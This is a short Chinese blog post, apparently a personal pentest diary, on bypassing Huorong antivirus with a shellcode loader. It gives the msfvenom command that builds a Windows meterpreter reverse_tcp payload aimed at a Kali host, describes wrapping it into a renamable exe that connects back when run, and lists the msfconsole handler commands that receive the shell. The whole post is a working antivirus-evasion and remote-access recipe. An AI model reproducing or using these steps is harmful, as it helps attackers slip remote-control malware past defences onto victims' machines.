Shellcodeloader免杀过火绒

目录

• 题记
• 环境
• 步骤

 

---

作者：@11阳光
本文为作者原创，转载请注明出处：https://www.cnblogs.com/sunny11/p/14105624.html

---

Top

题记

        今天脑子里面蹦出来个想法，免杀木马然后cs上线，本来想让cs与msf联动的，但是出了点小问题，还是先研究免杀火绒吧。

Top

环境

        Kali：192.168.0.119 win10:192.168.0.200

        工具地址：https://github.com/knownsec/shellcodeloader

Top

步骤

1、在kali生成3.bin木马。

        msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.119 lport=4444 -f raw -o 3.bin

2、把木马移到工具上做免杀。

生成loder.exe软件，可随意改名，运行就能上线。

3、kali开启监听。

        msfconsole

        use exploit/multi/handler

        set payload windows/x64/meterpreter/reverse_tcp

        set lhost 192.168.0.119

        exploit

        然后运行exe

        上线

4、火绒检测

        软件运行后检测。

 

分类: 杂七杂八

分类: 内网渗透, kali渗透, 个人日记

标签: kali, 内网渗透, 渗透测试, 远程控制, 免杀

好文要顶 关注我 收藏该文 微信分享

hack747
粉丝 - 4 关注 - 1

+加关注

1

0

 

« 上一篇： C#创建快捷方式-转载自ConExpress
» 下一篇： Web安全测试学习笔记-DVWA-盲注(使用sqlmap)

posted @ 2020-12-08 20:59  11阳光  阅读(376